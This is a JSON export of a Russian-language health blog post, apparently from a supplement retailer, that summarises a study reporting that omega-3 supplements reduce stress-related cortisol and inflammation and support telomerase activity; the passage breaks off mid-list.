{"id":7404,"date":"2024-07-10T17:13:49","date_gmt":"2024-07-10T09:13:49","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7404"},"modified":"2025-02-06T10:57:40","modified_gmt":"2025-02-06T02:57:40","slug":"omega-3-reduce-stress-and-fight-aging","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ru\/\u043e\u043c\u0435\u0433\u0430-3-\u0441\u043d\u0438\u0436\u0430\u0435\u0442-\u0441\u0442\u0440\u0435\u0441\u0441-\u0438-\u0431\u043e\u0440\u0435\u0442\u0441\u044f-\u0441\u043e-\u0441\u0442\u0430\u0440\/","title":{"rendered":"\u041e\u043c\u0435\u0433\u0430-3 \u0441\u043d\u0438\u0436\u0430\u044e\u0442 \u0441\u0442\u0440\u0435\u0441\u0441 \u0438 \u0431\u043e\u0440\u044e\u0442\u0441\u044f \u0441\u043e \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u0435\u043c"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-de7bd8f\" data-block-id=\"de7bd8f\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-4152\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp\" width=\"794\" height=\"398\" alt=\"\u0421\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u043f\u0440\u0438\u0435\u043c\u0443 \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u041e\u043c\u0435\u0433\u0430-3\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp 794w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-300x150.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-768x385.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-600x301.webp 600w\" sizes=\"(max-width: 794px) 100vw, 794px\" \/><\/figure><\/div>\n\n\n\n<p>\u0412 \u0440\u0430\u0431\u043e\u0442\u0435, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0435 Molecular Psychiatry, \u0433\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0414\u0436\u0435\u043d\u0438\u0441 \u041a. \u041a\u0438\u043a\u043e\u043b\u0442-\u0413\u043b\u0430\u0437\u0435\u0440 \u0438\u0437 \u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u044b \u0432 \u041a\u043e\u043b\u0443\u043c\u0431\u0443\u0441\u0435 \u043f\u0440\u0438 \u041c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u043c \u043a\u043e\u043b\u043b\u0435\u0434\u0436\u0435 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0448\u0442\u0430\u0442\u0430 \u041e\u0433\u0430\u0439\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0447\u0435\u0442\u044b\u0440\u0435\u0445\u043c\u0435\u0441\u044f\u0447\u043d\u044b\u0439 \u043f\u0440\u0438\u0435\u043c \u043e\u043c\u0435\u0433\u0430-3 \u0432\u0437\u0440\u043e\u0441\u043b\u044b\u043c\u0438 \u043b\u044e\u0434\u044c\u043c\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430 \u0438 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u044f, \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b \u0438 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u0432, \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442 \u043e\u043f\u043e\u0441\u0440\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c \u043a\u043b\u0435\u0442\u043e\u0447\u043d\u043e\u0435 \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0431\u043e\u0440\u043e\u0442\u044c\u0441\u044f \u0441\u043e \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0434\u0435\u043f\u0440\u0435\u0441\u0441\u0438\u044e.<\/p>\n\n\n\n<p>\u0412 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0440\u0438\u043d\u044f\u043b\u0438 \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u043b\u044e\u0434\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0440\u0438\u0441\u043a\u043e\u043c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u044f - \u043c\u0430\u043b\u043e\u043f\u043e\u0434\u0432\u0438\u0436\u043d\u044b\u0435 \u0438 \u0441\u0442\u0440\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u044b\u043c \u0432\u0435\u0441\u043e\u043c \u043b\u044e\u0434\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430.<\/p>\n\n\n\n<p>\u0414\u0438\u0441\u0440\u0435\u0433\u0443\u043b\u044f\u0446\u0438\u044f \u0444\u0438\u0437\u0438\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0438 \u043d\u0430 \u0441\u0442\u0440\u0435\u0441\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u043c \u0440\u0438\u0441\u043a\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u043c\u043d\u043e\u0433\u0438\u0445 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043f\u0441\u0438\u0445\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u0439. \u041e\u0441\u0442\u0440\u044b\u0439 \u0441\u0442\u0440\u0435\u0441\u0441 \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u0443\u0440\u043e\u0432\u043d\u044f \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430 \u0438 \u043f\u0440\u043e\u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u0432, \u0447\u0442\u043e, \u0441 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0434\u0435\u043f\u0440\u0435\u0441\u0441\u0438\u0438, \u0430 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 - \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b \u0447\u0435\u0440\u0435\u0437 \u043e\u043a\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0440\u0435\u0441\u0441, \u043f\u0440\u0438\u0432\u043e\u0434\u044f \u043a \u0443\u043a\u043e\u0440\u043e\u0447\u0435\u043d\u0438\u044e \u0442\u0435\u043b\u043e\u043c\u0435\u0440, \u0447\u0442\u043e, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u044e.<\/p>\n\n\n\n<p>\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u043b\u044e\u0434\u0438 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043c\u0435\u0433\u0430-3 \u0436\u0438\u0440\u043d\u044b\u0445 \u043a\u0438\u0441\u043b\u043e\u0442 \u0432 \u043a\u0440\u043e\u0432\u0438, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0438\u043c\u0435\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u044b\u0435 \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u044b. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0441 \u043e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0433\u0443\u0442 \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u043a\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u0430 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0441\u0442\u0440\u0435\u0441\u0441\u0430<\/h2>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c (\u043f\u0440\u043e\u0438\u0437\u043d\u0435\u0441\u043b\u0438 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0440\u0435\u0447\u044c \u0431\u0435\u0437 \u0437\u0430\u043f\u0438\u0441\u043e\u043a \u043f\u0435\u0440\u0435\u0434 \u0441\u0443\u0434\u044c\u044f\u043c\u0438 \u0438 \u043a\u0430\u043c\u0435\u0440\u0430\u043c\u0438), \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b \u0443 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432, \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0432\u0448\u0438\u0445 \u0434\u043e\u0431\u0430\u0432\u043a\u0438 Omega-3, \u0440\u0435\u0437\u043a\u043e \u0441\u043d\u0438\u0437\u0438\u043b\u0430\u0441\u044c, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b \u0443 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0432\u0448\u0438\u0445 \u0434\u043e\u0431\u0430\u0432\u043a\u0438 Omega-3, \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u043e\u0432\u043d\u043e\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u041e\u043c\u0435\u0433\u0430-3 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0445\u0440\u043e\u043c\u043e\u0441\u043e\u043c \u043a\u043b\u0435\u0442\u043e\u043a \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0414\u041d\u041a.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0433\u0443\u0442 \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c<\/h2>\n\n\n\n<p>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0440\u0438\u0441\u043a\u043e\u043c \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043b\u0438 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c, \u0443 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432. \u0425\u043e\u0442\u044f \u041e\u043c\u0435\u0433\u0430-3 \u043d\u0435 \u0432\u043b\u0438\u044f\u043b\u0430 \u043d\u0430 \u043e\u0431\u0449\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430 \u043f\u0440\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430, \u0434\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u0430, \u043e\u043d\u0430 \u0441\u043d\u0438\u0436\u0430\u043b\u0430 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0440\u0435\u0441\u0441\u0430.<\/p>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u044e\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043a\u0430 \u041e\u043c\u0435\u0433\u0430-3 (2,5 \u0433\/\u0434\u0435\u043d\u044c, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0430\u044f \u043f\u0435\u0440\u043e\u0440\u0430\u043b\u044c\u043d\u043e) \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0440\u0435\u0430\u043a\u0446\u0438\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430 \u043d\u0430 \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c, \u0442\u043e \u0435\u0441\u0442\u044c \u041e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0436\u0435\u0442 \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430, \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0441\u0442\u0440\u0435\u0441\u0441\u0430, \u043d\u0430 \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e-\u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u0440\u0430\u043d\u043d\u0435\u043c\u0443 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u043a\u043b\u0435\u0442\u043e\u043a \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430 \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u043e\u043c.<\/p>\n\n\n\n<p>\u041c\u043d\u043e\u0433\u0438\u0435 \u0445\u0440\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0433\u0438\u043f\u0435\u0440\u0442\u043e\u043d\u0438\u044e \u0438 \u043a\u0430\u043b\u044c\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u043e\u0440\u043e\u043d\u0430\u0440\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0440\u0438\u0439, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0435\u0439 \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430. \u0421\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0438 \u0438 \u0441\u0442\u0440\u0435\u0441\u0441-\u0438\u043d\u0434\u0443\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0431\u0440\u043e\u0441\u0430 \u043a\u043e\u0440\u0442\u0438\u0437\u043e\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u043e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0445\u0440\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f \u0438 \u0434\u0435\u043f\u0440\u0435\u0441\u0441\u0438\u044e.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041e\u043c\u0435\u0433\u0430-3 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u044e\u0442 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435<\/h2>\n\n\n\n<p>\u0412 \u0445\u043e\u0434\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0438\u043d\u0442\u0435\u0440\u043b\u0435\u0439\u043a\u0438\u043d\u0430-6. \u0418\u043d\u0442\u0435\u0440\u043b\u0435\u0439\u043a\u0438\u043d-6 - \u044d\u0442\u043e \u043c\u043e\u043b\u0435\u043a\u0443\u043b\u0430 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u0437\u0440\u0430\u0441\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430. \u0418\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043a\u0430 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0437\u043e\u0439 \u041e\u043c\u0435\u0433\u0430-3 (2,5 \u0433\u0440\u0430\u043c\u043c\u0430 \u0432 \u0434\u0435\u043d\u044c) \u0441\u043d\u0438\u0437\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u043b\u0435\u0439\u043a\u0438\u043d\u0430-6 \u043d\u0430 33% \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u0442\u0440\u0435\u0441\u0441\u0443, \u043d\u043e \u043d\u0435 \u0431\u044b\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0443\u0440\u043e\u0432\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u043b\u0435\u0439\u043a\u0438\u043d\u0430-6 \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0441 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0434\u043e\u0437\u043e\u0439 (1,25 \u0433\u0440\u0430\u043c\u043c\u0430 \u0432 \u0434\u0435\u043d\u044c).<\/p>\n\n\n\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0432\u044b\u0441\u043e\u043a\u0438\u0435 \u0434\u043e\u0437\u044b \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u041e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0433\u0443\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u0441\u043d\u0438\u0436\u0430\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u043b\u0435\u0439\u043a\u0438\u043d\u0430-6, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c, \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u0431\u0440\u0430\u0449\u0430\u044f \u0432\u0441\u043f\u044f\u0442\u044c \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u043d\u0443\u044e \u0440\u0435\u0430\u043a\u0446\u0438\u044e.<\/p>\n\n\n\n<p>\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u041e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0433\u0443\u0442 \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u0430 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0432 \u0442\u0440\u0435\u0445 \u0430\u0441\u043f\u0435\u043a\u0442\u0430\u0445, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e:<\/p>\n\n\n\n<p>\u2460 